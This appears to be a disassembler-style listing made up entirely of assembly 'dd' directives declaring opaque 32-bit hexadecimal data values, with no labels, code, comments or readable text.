		dd 2203BFECh, 0B639468Ah, 0E0F4C538h, 5FD01B6Ah, 0B3690A92h
		dd 8084B296h, 0A2DD3CA7h, 0C000CC22h, 5FB4AF27h, 0F9B9DBh
		dd 456F9A46h, 2940F66h,	42411200h, 615E89D8h, 0EAA7001Ah
		dd 15C44776h, 5A045CF4h, 79596734h, 56292080h, 974E0514h
		dd 0BDB4CCh, 956FD8C0h,	0A1035765h, 0F0D6F2D9h,	0F07CB3h
		dd 4DBDFEF1h, 43F59A7Bh, 8A001D7Ah, 3FDBBAD4h, 79F819h
		dd 0A139C92Ch, 0B7A3C640h, 8B245EE2h, 0F9408CABh, 1FFD4324h
		dd 0C79C7DB9h, 75B8B5h,	0FB1A8E49h, 0D7AF5600h,	0BA487A22h
		dd 0A60A03FEh, 0D0D472F6h, 0F4072800h, 0EF9E396Ch, 0C902248Ah
		dd 0E9420C7h, 0BA64C4Dh, 0CEB05ACCh, 4542CF00h,	1E15FB6Ch
		dd 14F0005Eh, 198A64A0h, 0B8FA8B40h, 529D3600h,	0CD165D6Fh
		dd 0DF5400B5h, 84035CE4h, 3A0051C7h, 738B6D47h,	1C2864Ah
		dd 85805010h, 0C099B3BCh, 8D00FBA8h, 366776E7h,	0F6CC58h
		dd 9A5DE52Ch, 0F126CB2Eh, 89EBF500h, 3DBC862Ah,	4F640314h
		dd 7699E868h, 83B84AFBh, 7F0FD933h, 0C0822C48h,	4C8EEB6Eh
		dd 3CE105B2h, 7D67BCAh,	2A0497h, 0E7618305h, 15A8D400h
		dd 498209A4h, 78983Bh, 0CF4CD70h, 9346E76Eh, 84D59200h
		dd 1E3A4798h, 2FFB1F63h, 0FFC40FCEh, 5B370720h,	0D400309Fh
		dd 0BF4CBDB7h, 7BC6A1h,	60E45413h, 6F2379E3h, 0A37FFD18h
		dd 2457B860h, 3C9852CBh, 0F311E500h, 92DC7C91h,	0E8A93918h
		dd 6CB0518h, 0FF49364Ah, 0E3781087h, 40621C00h,	94AB2619h
		dd 713F7411h, 8AB300B5h, 9E915BD0h, 8E03462Eh, 96507E7Ah
		dd 0C123B0F4h, 0C72D0305h, 0FAAAF9E4h, 44BD8801h, 503AEB5Ah
		dd 249495C8h, 80E43D7Bh, 9FDBC41Bh, 0AC0305A1h,	0EBCCE438h
		dd 7AFA904Bh, 9C9C0AAh,	2B8DB5EDh, 0A56840F7h, 6005D78h
		dd 0E1B46697h, 60687335h, 0C37DAC9h, 0F00296Bh,	0BE7A0571h
		dd 0F08D8EC2h, 0E498018Bh, 474237BBh, 0EEB4D0F2h, 0C3DB6007h
		dd 0EF400C92h, 7D9A31BDh, 0A8D000F0h, 0A7403C73h, 0C185E29h
		dd 4B8054BCh, 0E7400C0h, 0C93F2A6Eh, 0DE00A28Eh, 0A9B9B1E0h
		dd 0CACF0Ah, 9918289Eh,	3E0597C2h, 0B40B6400h, 33AA7E9h
		dd 0D00D1E47h, 577DDC1h, 84DDC418h, 69C6000Ch, 8BF73C2Bh
		dd 9CD75000h, 3D561AADh, 0DCEC1F94h, 9C2463h, 72689F75h
		dd 74739737h, 46BC8400h, 4B830E70h, 0DBCA00EDh,	91597B43h
		dd 7DEE4899h, 27975600h, 0A706A2BEh, 0E6233E84h, 46A09B80h
		dd 0AE9A5FDh, 4C5CE507h, 13A0085Dh, 0D77C66h, 0CE632BE0h
		dd 65807F30h, 4F52441Ch, 6EA4CFh, 1D794753h, 86CA0054h
		dd 0EFEE282h, 5E78DBCBh, 0D10F41B0h, 20C12A1Eh,	64FB1338h
		dd 0C42B0025h, 5C9809C5h, 860572BEh, 795F16D8h,	0FB70F004h
		dd 9A0270D0h, 640700A7h, 2DF8F9D0h, 1D2AB7C2h, 0FA00849Bh
		dd 94C7241Fh, 386298h, 0AB104767h, 5D63BA23h, 0DC7D8D02h
		dd 0C1277C2Eh, 0C024F264h, 2B8401B8h, 73668249h, 781DD4A1h
		dd 0BE216E00h, 0D77D8ADCh, 484F3D69h, 3FA42D2Bh, 7D7F1600h
		dd 0DA1CB9D0h, 4E9F8C94h, 69308900h, 0A91488h, 5E8DD925h
		dd 0DE58E56Ah, 0C6708307h, 0D2B06285h, 0B2B365h, 0C2957481h
		dd 18BE3592h, 0E9BF8300h, 6AE1FBF6h, 7C9700DDh,	0A533058Ah
		dd 400389Ch, 87F79FFDh,	0E25AF603h, 1CCD00E8h, 0B5691CFh
		dd 8E075EABh, 79C02657h, 0A2AC691Fh, 800605BCh,	14B74C54h
		dd 0FCCD006Bh, 0F768A3BDh, 9B005676h, 7F17AFD2h, 70A8C36Fh
		dd 5BD00AEh, 2513F5CFh,	6E003363h, 0C4E91787h, 2C0B62h
		dd 0B94C73E0h, 5CB60713h, 0E1D90E00h, 2ABC05EBh, 49111CE7h
		dd 0A8E08377h, 62A0C3B1h, 0C10785BAh, 28922A78h, 59DA8950h
		dd 0E20E249Eh, 4DAB8BF0h, 76B77800h, 710293EAh,	3998C0C9h
		dd 9074E389h, 61E9D1h, 12F3F646h, 278D951Eh, 0ABB45F00h
		dd 0E16BD9EBh, 0FD710038h, 0E5018EC6h, 3308A0Dh, 5A9510FFh
		dd 16843823h, 5559AC80h, 0FB229F86h, 14AF731Dh,	911DCF80h
		dd 29F14Fh, 7F7BA277h, 0B9105523h, 9CFF3200h, 0F6D0D5CDh
		dd 0E9ED0048h
		dd 84A88677h, 0F003A9C5h, 68BAFCCFh, 31710341h,	30F5212Ch
		dd 2600917Ch, 0B9281D40h, 82DFD0h, 2F0B6CCBh, 5152747Fh
		dd 0A47975F0h, 78F3291Fh, 0AA231A80h, 963A4Fh, 0AF149B24h
		dd 276B9E07h, 0F20D9300h, 0C550856Ah, 0AAFC00E5h, 2B655DB8h
		dd 73305137h, 0B0D829B2h, 38530994h, 0F68FB497h, 61099600h
		dd 6E0332B7h, 0D5D92239h, 0AA6BD01Fh, 0E1D000ACh, 0A119CCF1h
		dd 7D009515h, 5B8012A0h, 64CC3h, 0FFC0F498h, 0A1C67ECEh
		dd 6F4494A8h, 34539100h, 2972B1CFh, 1E630E57h, 0CC028ADh
		dd 0D988C6BAh, 0E5C3EB00h, 9B2280ECh, 7128C074h, 27057A13h
		dd 47A70105h, 64C0F9AAh, 98CAFEh, 0F31F58EEh, 8E647EE3h
		dd 9C3FD690h, 5B2507C1h, 0E48AE14Ah, 215C003Dh,	356E0BFCh
		dd 0FF120056h, 0D7BCC884h, 9572DBAEh, 9008E74h,	0C6B0F531h
		dd 1C2F772h, 0EA7350BBh, 0C014330Fh, 41003AD5h,	5335C33Bh
		dd 7DDDEC9h, 1E42BF04h,	16D300C2h, 40C09C97h, 32E196A9h
		dd 0FEB10CFBh, 10190461h, 27A3B400h, 0A46DB799h, 0F7A001E5h
		dd 437A81Bh, 0E04A6073h, 5BEBB9C0h, 13A9CE1Fh, 14E959h
		dd 75D87E10h, 1071A61h,	2CAF08CFh, 0CB100E91h, 7BF0DB70h
		dd 1D78001Bh, 25994107h, 1A488C9Bh, 9F39001Ch, 0D0A581F6h
		dd 69950E0Bh, 0B7A2231Fh, 0F7403FC0h, 90008471h, 9B629FD9h
		dd 0B658FFh, 7D451F05h,	2AFAA803h, 0E56DA505h, 57C0F5A6h
		dd 0DF7B53h, 32030838h,	78B7A1D2h, 133E3DE8h, 0C72C0022h
		dd 2BED87BDh, 0C158003Ah, 0A0AADC54h, 0FF005BF6h, 9E62E112h
		dd 6972DAh, 0B8D4A37Eh,	206C1AD9h, 0C034290h, 80DAD77Fh
		dd 42C5D838h, 183D602Eh, 23AD74D1h, 89CD9400h, 0F22D8D4Dh
		dd 649C01C9h, 0BFD72820h, 0F44AE199h, 0DE00CC65h, 5758C102h
		dd 3725CFh, 0DDDC053Dh,	2F5F3E7Eh, 51C4F606h, 72E9A8Dh
		dd 24D323B9h, 0E55353D1h, 3FC19190h, 8043EE3Ah,	7A076A34h
		dd 7049A11h, 8230155Fh,	0EC006F51h, 0E5DC5A61h,	28DB3E07h
		dd 0B1E3E2BAh, 1085B8A3h, 7C2CE6E7h, 0AF3800CDh, 18491E0Fh
		dd 0F216A686h, 0BF7CB1h, 27EE7E5Fh, 0B900A805h,	8B8EB4C7h
		dd 0F888DA4Dh, 74B20376h, 0D33C32B0h, 29628DF0h, 0FBF7DC07h
		dd 0E01FA8DAh, 60E9FAD6h, 1F9050h, 0E7B6ED01h, 3404D45Ah
		dd 689B9400h, 0BD7CB2E8h, 48C801D6h, 9DF731A1h,	36122073h
		dd 0F5F1220Ch, 1C7186h,	4F1B689Ah, 671EE7E2h, 80072675h
		dd 716DEE9Bh, 51E8AD80h, 6846182Eh, 39F518B2h, 8418760h
		dd 1D6C85Ah, 0BAD1D335h, 0F075ACDFh, 0D21CFB36h, 390097EDh
		dd 9D122EC6h, 1B581C1Fh, 0B24680E9h, 8367CEF2h,	1CBF2818h
		dd 175DBAh, 36AF6DE1h, 4CCEDADh, 0A2D1D21Eh, 0BE180F1Fh
		dd 86B17680h, 0D6D3020Dh, 2DD4283Fh, 0A9716043h, 1149C78Dh
		dd 29F89400h, 2BAA9C34h, 0DB2403A1h, 0FCE3D7F5h, 0D85DD498h
		dd 6CF41000h, 96EFCABFh, 55F22CD3h, 538200B6h, 3A188523h
		dd 277474E8h, 0E863C600h, 9AB32CCAh, 7F79A0h, 0B88893FFh
		dd 1D8CB491h, 0D6298E1Eh, 1F205181h, 0B8EFEF3Ch, 0B80F21CDh
		dd 0E9F8DCh, 0B15EBF29h, 8EE1F0FBh, 46FC6300h, 92D4D2EFh
		dd 90325CF1h, 0E0911Fh,	0CA2F1D4Fh, 8E58A98Ah, 88482Bh
		dd 0E9ADB52Ah, 176943h,	36D57DF7h, 0B9356FC7h, 2ED9D624h
		dd 67A98100h, 33894h, 77972040h, 7695616Ch, 0CA904200h
		dd 69DD80E1h, 7FC40E4Eh, 0D4006FC5h, 399A618Bh,	0D381070Fh
		dd 0A6A5207Eh, 385A86DCh, 4200D902h, 22F3786Dh,	45001866h
		dd 2BB14603h, 0AE70EEh,	20EA24BCh, 0E1916DDFh, 7FC93700h
		dd 0D4BF666Eh, 7DB004Eh, 8D5930A4h, 1D003648h, 6EB95DCCh
		dd 1CE9D3AFh, 40AC5E7Ah, 0EE13852Fh, 9049ADBh, 0D84AD9E4h
		dd 0B31CCF80h, 129026h,	8974ACB2h, 0A6C808ADh, 0C3FD0300h
		dd 6EA7BCE8h, 5F69C044h, 0B0532271h, 0BAF72350h, 0A6778A00h
		dd 5D810264h, 951A00E5h, 0B022F867h, 3E2478F5h,	0B5007E54h
		dd 94CCC004h, 307900A6h, 93C48DEAh, 0B20E3E6Ah,	0C3338460h
		dd 0D8986589h, 419C5h, 62C30C12h, 0BEB871B0h, 8C00BC73h
		dd 26E2C81Eh, 0B77DCBh,	6B532324h, 6A9C4CD9h, 61F57900h
		dd 0CBCC3A55h, 0E6B09Eh, 0B93E363Dh, 65F7C41Ch,	0FEAB1804h
		dd 0D5978AA0h, 307877C6h, 3FE915D7h, 540097B6h,	0E66F8820h
		dd 0CF792DB0h, 0F7608E48h, 15012372h, 9C77EA74h, 41FA50Bh
		dd 0DDC58064h, 9E28Bh, 0A019185Fh, 549FC27h, 0DB2CF800h
		dd 92AF71CEh, 0F410096h, 0EE9ACB69h, 300758E8h,	6CB72A67h
		dd 0E0995693h, 0E662E7h, 0B0A0931h, 4720195Fh, 6429E16h
		dd 0BC3CE61Eh, 0E5260741h, 0B727578Ch, 0D67AFB10h, 0E0710607h
		dd 0F079F86Ah, 8B15F510h, 981B507Ah, 0F0D8B77Ch, 0C5A4F800h
		dd 0E30BCC81h, 0E6B600CFh, 48BD60E0h, 0DA001FF2h, 0B4790D2Ch
		dd 8290E2h, 0F40C4D20h,	29F04089h, 7BB0A507h, 5AB0F8CEh
		dd 7AD33D6Dh, 5BBA2456h, 640201B0h, 80DCB89Bh, 0ABD4E580h
		dd 93E832h, 53B36267h, 2E3A8DECh, 0EDE00C04h, 0F48069D9h
		dd 98341Dh, 0E1256BF3h,	11BEBB07h, 0F900B87Dh, 59A32FABh
		dd 3047E0Eh, 388561A9h,	0EDA8E234h, 7C905C5Bh, 0A72AD302h
		dd 0E0648ABDh, 384F28D2h, 460052A2h, 0FE519C05h, 3E00A723h
		dd 3C867212h, 24D5D7BEh, 0E8E618h, 8A7E6C8Bh, 4000FB65h
		dd 0D916C9ABh, 0C266FA6Bh, 82B86960h, 549A4840h, 0E9FBA300h
		dd 12180835h, 5849DDh, 7AFF71Dh, 0A0672588h, 30D924FBh
		dd 0E1BF7C00h, 1EE5F479h, 4AC6005Dh, 37209912h,	0EF008046h
		dd 426E9416h, 49BA66h, 0FEDB3FFDh, 4D254363h, 0C57EF100h
		dd 570EDDCCh, 0C6BC0BB5h, 0FC006B2Dh, 0ADBA0DEAh, 0D8359200h
		dd 4BBB8F80h, 0D42D001Fh, 0D32B05EDh, 5E00E48Eh, 46A7180Ah
		dd 0F994E25h, 0AA17311Ah, 1BC48C4Ch, 0BD7F75Ch,	7469EA4Ch
		dd 0C5F50767h, 8271B070h, 590036FDh, 0EE01321Fh, 12A9B7F7h
		dd 99491C7h, 0C1001334h, 0A109FD8Dh, 873E3C00h,	0B8C2AE7Fh
		dd 8B3407F6h, 2093F8F3h, 97E39C3Bh, 16C5300h, 20C147D8h
		dd 95043E32h, 40DC469Ch, 5E36F13Ch, 9F0B0276h, 992D98h
		dd 0D505AE9h, 0D258C792h, 5EC8F133h, 2A108093h,	0F7AAABD8h
		dd 19603B2h, 3CD93E16h,	0D3471CD0h, 0EEF13B00h,	74FE3ABEh
		dd 0E003003Fh, 162F601Ah, 2C009286h, 0ACAACECBh, 67F124Bh
		dd 0ECEA3661h, 0DD73E0DAh, 0F26DF802h, 6870A635h, 18B2CC10h
		dd 11E9F5A1h, 4B00FE37h, 66118DD9h, 1ECD73E7h, 0B4103Bh
		dd 27D2D12Ch, 96F06851h, 972F2500h, 9A15727Eh, 82E9000Ch
		dd 445BE13h, 0E1493CD6h, 0B456023Ch, 0C1F476F7h, 6434C9ADh
		dd 0CC3200CDh, 0FF90317Dh, 20294FF5h, 0AB00B0F9h, 7D6C4515h
		dd 0D31700DDh, 0F972ECEDh, 643AEF87h, 137C80FEh, 0E4ADE307h
		dd 18D6007Fh, 7397FA3Bh, 830195E1h, 564B8966h, 4020B00Ah
		dd 18DCF877h, 10533A3Dh, 7C00468Fh, 752E7D42h, 0BA73F9h
		dd 62F71A8Eh, 93DEF1CFh, 0A913A57Ch, 3F00C7B5h,	97E84424h
		dd 53D52C8Eh, 0DCC61458h, 642E584Ch, 75B300D2h,	40A0ABC8h
		dd 0BE003A98h, 2C1A3C91h, 0ECE79BDCh, 9E4001Eh,	0F2546E59h
		dd 5300DE82h, 0B71D4AF9h, 759037h, 5CD235C4h, 4C688D7Ch
		dd 0F1000E72h, 5F8E8493h, 2E9249h, 64EC02AEh, 7CCBA719h
		dd 5AF31C00h, 931E991Dh, 0B0E50094h, 0EC37471Fh, 0BB00614Ch
		dd 0BA6F5355h, 990760h
		dd 0C6885CD3h, 0EA5FD96h, 10490B1Eh, 0F77E47C3h, 0FFBA0055h
		dd 0A8CDCB54h, 500007E7h, 6A715C03h, 1EACC7A5h,	5FE1EB4h
		dd 91EFE1F6h, 0C41B6808h, 720E38C2h, 3D0AF2BCh,	0A3252C41h
		dd 207721h, 3F8C0173h, 99BF2EEBh, 0B13BDC13h, 0BB1F1200h
		dd 22D07156h, 0F5810032h, 33089F92h, 0AC169A27h, 840E83Eh
		dd 5C4FCDEBh, 3E37E86Dh, 3880B5EDh, 62AAB30Fh, 1B0065B9h
		dd 0BD97C02Ch, 0EE9BBA4h, 483590FEh, 0A5D23180h, 0B93C8AFCh
		dd 80C484F3h, 0C4C0FD57h, 0F8EBACh, 2746902Dh, 0D2966283h
		dd 81FE1B09h, 6FB0A1EEh, 0EFC0F188h, 0FD991D4Ch, 0CA20FD6h
		dd 86331362h, 0B004B448h, 85766C01h, 8D70444Eh,	1E2D08D0h
		dd 1F80E31Dh, 0C2231EEDh, 19FADB69h, 0FDD3F3E0h, 0F7E18B03h
		dd 0C1EA6BC7h, 1CE0EE95h, 45E90FD2h, 0A660266Fh, 0FB5468DAh
		dd 5289D00h, 4F6C886h, 31132570h, 1400AAF0h, 0AFD43606h
		dd 1E1B4AEBh, 1565DC30h, 7000A0F1h, 0F2014EDDh,	5A66EEE7h
		dd 0E1D588h, 0AD6D5829h, 86ED93FFh, 3B09A38h, 0A5908DF8h
		dd 0E84CE3B3h, 0BA6C2F14h, 0E1E9001Ch, 131BDFE7h, 0CA22806h
		dd 47828833h, 49D9881h,	0CA9C02Ch, 0FFFB1901h, 0E96690A1h
		dd 4569C0h, 0EB379A98h,	0FD252184h, 0E18A8D13h,	366BD200h
		dd 5F190Fh, 0D744092Ch,	0EF538511h, 0EE98D800h,	0C5C27B4Fh
		dd 70A0096h, 12E3FA89h,	0D61308B6h, 8F07AEDFh, 0B020FE02h
		dd 1D208F4Fh, 39C3DD36h, 0F863C994h, 90573800h,	0FAB41CC0h
		dd 0BD401461h, 24D01F7Ch, 6C1007C2h, 0A03DF51Ah, 0F9D7AA35h
		dd 0FAEBC839h, 7A458F2Eh, 399D7000h, 244F7702h,	0B5A769h
		dd 85FF6DF2h, 0D6003FFAh, 0BC8365Dh, 28D0CBh, 6B44499Fh
		dd 0ACE1E746h, 0EA191660h, 39B414h, 0CD4DE97Dh,	9147BE7Eh
		dd 62207F60h, 0CC1803h,	0A8A47D22h, 5E3D8746h, 1F62D258h
		dd 3C1E23FAh, 0D0F04FC0h, 7EECBC6h, 7AB44850h, 0CFA780E9h
		dd 0C7060F4Bh, 29FC64A5h, 0AC5F5C58h, 22004239h, 0C461B7Eh
		dd 0C6788375h, 4D26F80Ch, 18452840h, 18E87114h,	7331D6E6h
		dd 62DF999Bh, 60D878C4h, 0FD0568AFh, 2603D40Ah,	0ACA0AE7Dh
		dd 0FFFBB0Ch, 28CF4AA0h, 4CEB6467h, 0A4188640h,	7358D8B8h
		dd 0ABC0043h, 1DD1AE26h, 18C07DD5h, 593564E4h, 3CE97C67h
		dd 0B814E778h, 45139465h, 234901D3h, 4395FCA2h,	90107FA4h
		dd 0E182CBD4h, 0B4112CA5h, 0F02568C8h, 618A7A58h, 0BEAFC8A8h
		dd 0CDE888E3h, 0DED4D9DCh, 0B94E281Ch, 30AC2EC0h, 0FD210274h
		dd 0D883DCB8h, 0F100DFC3h, 0ECF73697h, 0DAE282h, 0B820434Fh
		dd 9DF1AF6Dh, 39B11502h, 60210BF8h, 0EC30CBCBh,	0A8D60106h
		dd 4BBE6F80h, 0F6918123h, 2B284398h, 0C2151084h, 6A249067h
		dd 9F00B27Ah, 0CFE4D93Ah, 129A6Ch, 0F96290ECh, 67ED730Bh
		dd 1EF88C03h, 99FFB844h, 5E30098Eh, 0CEAE1FF7h,	0F6584B55h
		dd 0FF7A6503h, 0C6139BB8h, 29238018h, 45DC81h, 4AAF03ACh
		dd 24FEDAB8h, 0FFF9500Fh, 27292091h, 0A9F16AEh,	0D664A6ECh
		dd 0C9508380h, 0C9CEB06Fh, 5269500h, 0FFD5A085h, 0E8C1F63h
		dd 22DAC0C2h, 499027BCh, 5EBECF1Dh, 0B04279B0h,	0C78C12A5h
		dd 80141E33h, 52453B8Ah, 214C34F2h, 7EF900CFh, 0FE3DB205h
		dd 69A0120h, 9AA482Ah, 9BB7ECFCh, 3FCB3800h, 6EB9D732h
		dd 0B608CC42h, 33072121h, 0A09F8138h, 0CE4AC390h, 5550E7Eh
		dd 0ECC0665Fh, 17BF0339h, 0FF9230C1h, 0E02093C5h, 3FF83365h
		dd 21489109h, 0ABB000B9h, 12387BDCh, 0FA010088h, 0F6B1A0A4h
		dd 0C0002265h, 99B2FB94h, 0A8479606h, 11383754h, 88923FD7h
		dd 8FE583B4h, 7F883438h, 2B71C4BCh, 0A604CD18h,	3C8B1721h
		dd 5B3B4FBh, 79D86911h,	27036B4Eh, 0B786AB7Ch, 0FA3EA165h
		dd 29432080h, 0F8B11273h, 82458900h, 406EF7Bh, 0B7522847h
		dd 0D4FB0380h, 0A61BF103h, 0CB0FE7E1h, 6C721900h, 69E6E80h
		dd 78B01FFDh, 39220068h, 0AF4D20C6h, 73638B0Fh,	98C76017h
		dd 3EBF0C21h, 0FE00D3C5h, 0A78FD7C1h, 5300AE6Eh, 0A40F22D5h
		dd 0D481B0h, 23681537h,	2AC09821h, 36D0641Eh, 8EB3E607h
		dd 0C25E9997h, 60401A4Ah, 1E77D54h, 0CB412889h,	0ECDB7A6Fh
		dd 2900840Ch, 0D965730Eh, 629B78h, 0BE6BA98h, 22A6131h
		dd 0ED3A9400h, 6B2D339Eh, 0F96E005Eh, 384C565Bh, 61F0FC40h
		dd 0CC066FE0h, 59D3ED3Bh, 0FADA2229h, 22B57722h, 0CA10276Ch
		dd 0D6212E4Dh, 3597004h, 5A43C808h, 0E251222Eh,	650099F8h
		dd 91A62707h, 0DB2B2Ah,	8EAC0FA9h, 304E6AD2h, 42848D00h
		dd 0C354E2F8h, 3E8AFEFFh, 1E836165h, 5249C085h,	8FA6FE03h
		dd 9081B12Dh, 56EF9Dh, 0DC129C67h, 0CE585CF8h, 0DCDA803h
		dd 0B8A516D2h, 3E79A2D1h, 15011FBBh, 0E599E22Eh, 3B9E48Ch
		dd 0D085EC00h, 5AAE427Ah, 0CC9097Bh, 2D0F1AB1h,	0DC073A80h
		dd 0D1002249h, 76F5A857h, 92AD11h, 0FFD98236h, 6974FCEBh
		dd 0BF385903h, 98652FAAh, 1DD2C43h, 63CCD098h, 0CBC96267h
		dd 12B81800h, 943D59E1h, 764B0A3Ch, 0E45EF4h, 182782AFh
		dd 391C3744h, 45C0077Fh, 808DEDD0h, 0F8830046h,	0E7753B67h
		dd 7207DC2Eh, 691064E6h, 741F20BFh, 0E88D7D1h, 0BB606EE9h
		dd 53C590C0h, 0A67CC730h, 0C751A528h, 0BFACC600h, 394AF07h
		dd 7BFE2Bh, 0F5680BA1h,	0BDF9D4FEh, 20A41900h, 0B0796B22h
		dd 803C6105h, 63AD2ABh,	0FECE0016h, 833F0C3h, 2C003EECh
		dd 0A867463Dh, 388C85Bh, 618C7BCDh, 0E21DA2D8h,	0D815824h
		dd 0C8BA9EE9h, 98798C40h, 0A9080074h, 1DF48E49h, 5C604A3Ah
		dd 0F6CD0328h, 2DC21DCBh, 0D479D4DDh, 2E90711Eh, 0A88903C0h
		dd 0A2F00B4Ah, 0CB00631Ch, 0BC6C1B35h, 768712h,	0A255826h
		dd 2D4DBBE0h, 0CDF8D700h, 392AE11Fh, 7BD90F23h,	0CA06C15h
		dd 5AF12FF3h, 0EE3F6107h, 711DA47h, 0E8ECF909h,	993702D0h
		dd 0E7F0144Fh, 0BE8015C0h, 9075C900h, 0C655EF9Fh, 3D73D1h
		dd 867EB699h, 210ABE24h, 1FDF941Eh, 0A82B304Ch,	0BB8D00E2h
		dd 76A09B7h, 460097D5h,	731AF5E3h, 1E5C4823h, 9EEABC11h
		dd 47C64159h, 402212B7h, 0E9D03287h, 80658F39h,	13CE07C4h
		dd 306AB0DCh, 88929CE8h, 0C4A03325h, 900AD83h, 0EF2EC2B1h
		dd 0BFD660h, 0CAA7203Bh, 7919F085h, 0AA21AF03h,	0C09EE3F6h
		dd 0E00781h, 6B05F250h,	0A383484Ch, 51F8B354h, 18B158h
		dd 0C539F807h, 4813678Bh, 0EE00B4A1h, 0D7D60152h, 0FE00191Ah
		dd 8B43E2F3h, 3FEF9851h, 49C8B35Eh, 6D493E0Eh, 45AA6160h
		dd 0A0007964h, 722EE69Ch, 0FEC09Fh, 0EDC5F11Ch,	0CC09BA2Dh
		dd 0E5BBC400h, 3733D7A6h, 0C39C3F24h, 7AB10A4h,	407FAC90h
		dd 0E35CAEA0h, 0E5CF8F00h, 683E52BEh, 7CDA0F63h, 0D3C17A0Bh
		dd 0C40DBD21h, 1C003A15h, 0B779324Fh, 546D6BDDh, 193D4A1h
		dd 74410B5h, 24BE8F48h,	70EA1534h, 1A5833F4h, 56D600DDh
		dd 0C4A02BFFh, 0AA0600F5h, 736592A5h, 457F5983h, 82D8F61Eh
		dd 0D4DA53CAh, 30577284h, 0E2319F40h, 0F3B12FEh, 0D00893C5h
		dd 349E5000h, 0BE1D9Bh,	4DF52CB1h, 84615405h, 628CAD03h
		dd 0A3BCD9B9h, 39FBD851h, 5E0801A1h, 7F89CAB1h,	124C3426h
		dd 139D570Ah, 0E61CCCADh, 40AAB08Eh, 0FBD11E3Fh, 49C40051h
		dd 0FA43A596h, 7201935Ch, 972A2D5Dh, 0E3FC87E7h, 0B73E009Dh
		dd 0ACDFE4D4h, 3F00C27Bh, 0FA42CDAAh, 0B04F5D2h, 0BD821FCAh
		dd 21074E09h, 2C00495Ah
		dd 0CFFAA259h, 322CD0C0h, 1BC1ABDh, 0DEFF3EAFh,	30D4AA58h
		dd 0E9003D54h, 4EDC54D0h, 3702DAh, 8F401BD8h, 34AC9DB8h
		dd 13269473h, 0EA0A56F7h, 3A01D0A9h, 57E199F1h,	0E603F032h
		dd 0A2CAFAEFh, 0A893F126h, 0EA684Fh, 510132Eh, 5A7B33CCh
		dd 929CD905h, 33806B5Eh, 66DE03h, 0E9B48EF6h, 10186FCCh
		dd 31903500h, 0F98CB0BEh, 880A00C8h, 0D3F845E0h, 8A31D6ACh
		dd 533F9017h, 7485F986h, 0AD2670F5h, 1B005193h,	4C0780F2h
		dd 45D09BFh, 0A8074FE1h, 3764CFh, 8945940Ch, 3BC900Dh
		dd 8CA76478h, 8382A39Ah, 18C3B480h, 5E01607Fh, 72D5212Ch
		dd 0A040A9CCh, 7908392Fh, 6E421CC9h, 0EFCA47C0h, 4079041h
		dd 0CE1DBF26h, 55C0C173h, 0F1FCE29Fh, 68700DAh,	0E71E8C64h
		dd 8F0E80B5h, 0E1714FBDh, 5E04B87Ch, 0E0A20F4h,	29F0EA36h
		dd 271FE820h, 630001C6h, 9FA208BDh, 0A373A397h,	0E96000FCh
		dd 8AB34DEFh, 58046333h, 0FA967456h, 9537DCC0h,	914A3A6Ch
		dd 0D7CB0C8Fh, 38ED61E0h, 8D00CC79h, 1F209798h,	38D6CA64h
		dd 0E8D8B935h, 0CF5FC709h, 239C1CA1h, 77C84047h, 0D609747Eh
		dd 0E71FF9h, 2A5E0D48h,	7CD7004Ah, 7B3C7D12h, 200E985h
		dd 3045ABAEh, 0F14722h,	91242D4Fh, 8163A9EFh, 34909AECh
		dd 75842C16h, 33D58400h, 6650440h, 873FD94Ch, 0BE001815h
		dd 7CF6EA8Bh, 3A2B64h, 6D2D0FFBh, 12737796h, 9BE7171Fh
		dd 0AC5C9100h, 0F41A09h, 22C3BE45h, 0F00B8FEEh,	0FE52B00h
		dd 7F6A8781h, 108E60C0h, 9FFF7B3h, 0F0FBD600h, 2E0C5F11h
		dd 742048BEh, 0A436520Bh, 9869FE00h, 0A20E3FCFh, 0A967A0B2h
		dd 1D180160h, 9EF99162h, 52ED1180h, 0C5FF55F5h,	98053F24h
		dd 498F088Ch, 34B1008Dh, 8593A8A7h, 0F50ACCD9h,	94E1D556h
		dd 15FFDF03h, 70EFE0FEh, 0CDAB01BEh, 8A55F223h,	4D8830E2h
		dd 0CB1A1300h, 0E54E6390h, 657C1387h, 5FC000ADh, 6929F1A0h
		dd 6F3E4126h, 0F5CFB702h, 9682812Fh, 0BDE11366h, 0C03F5030h
		dd 8E262060h, 2106992Ch, 0EA6BA5ABh, 1A9B00B0h,	0F06828DDh
		dd 0FB3DF561h, 88E613E3h, 45002313h, 5134F98h, 36F31431h
		dd 0E113C6A0h, 3400AF9Bh, 1E2FAFCEh, 0B1520080h, 0B5186A63h
		dd 28090DE9h, 105FC342h, 834454D8h, 0E91AF6E8h,	145E5100h
		dd 8F6C83C7h, 119E0E5Fh, 2900D95Dh, 897B4EABh, 0FF69D701h
		dd 0B672140Eh, 3C62C880h, 6A84CB99h, 0AEAA1001h, 0F58371D8h
		dd 0F0D220h, 0C2E57BCAh, 952B4268h, 3279700h, 0F33A6A92h
		dd 34ED001Dh, 754E2C0Ch, 3518149Bh, 87E8C89Eh, 0B54C48F6h
		dd 3B63F009h, 0C07A4C05h, 6EBF1AD6h, 53813001h,	0B675E5DDh
		dd 0F138892h, 8F27DC9Fh, 822C60C3h, 0BF1D68E6h,	0B068637Bh
		dd 51C13500h, 9C380D10h, 84A80028h, 0CA09C6C2h,	0C9F0A068h
		dd 8E38AA76h, 7CF8130h,	356E3D80h, 14A820h, 9DD27AFFh
		dd 7132592Dh, 8D174C00h, 0F6FDD58h, 313C001Fh, 0B8018186h
		dd 7F394F11h, 0A6992CB2h, 89652900h, 18A56E6h, 0AF5F8C9h
		dd 28BB112Ah, 0DEBF0094h, 6F19B01Ah, 6D300AFh, 0A9F3B5F4h
		dd 5E0FAED4h, 60950C04h, 9D6E2E1Eh, 62F917C9h, 405C5D16h
		dd 0E31DB987h, 63043F4Ch, 0F49531B2h, 993F480h,	0C5F207B5h
		dd 4E9E7D1Eh, 6737BFA0h, 0CB7A98B4h, 0FA346607h, 0EB900924h
		dd 2E542C8Bh, 39A5C4h, 8156DC91h, 0C61379CBh, 10025936h
		dd 0DD8DDh, 0A77E63EDh,	0DAF9E818h, 0AF7C19h, 0E189ACEh
		dd 0D90257CDh, 9C1A98A0h, 3D29A807h, 0F8A0B4EDh, 0F7EAAB81h
		dd 0B895E4h, 7E9F832Ah,	535F94FDh, 8EB51303h, 0C0AE6DBAh
		dd 1C91DE98h, 0C0BCE214h, 3A42E8C4h, 0FA00B39Dh, 649CDF7Ah
		dd 0C3D10h, 0B471FEF8h,	5D5FA7F6h, 9449C200h, 426F59B8h
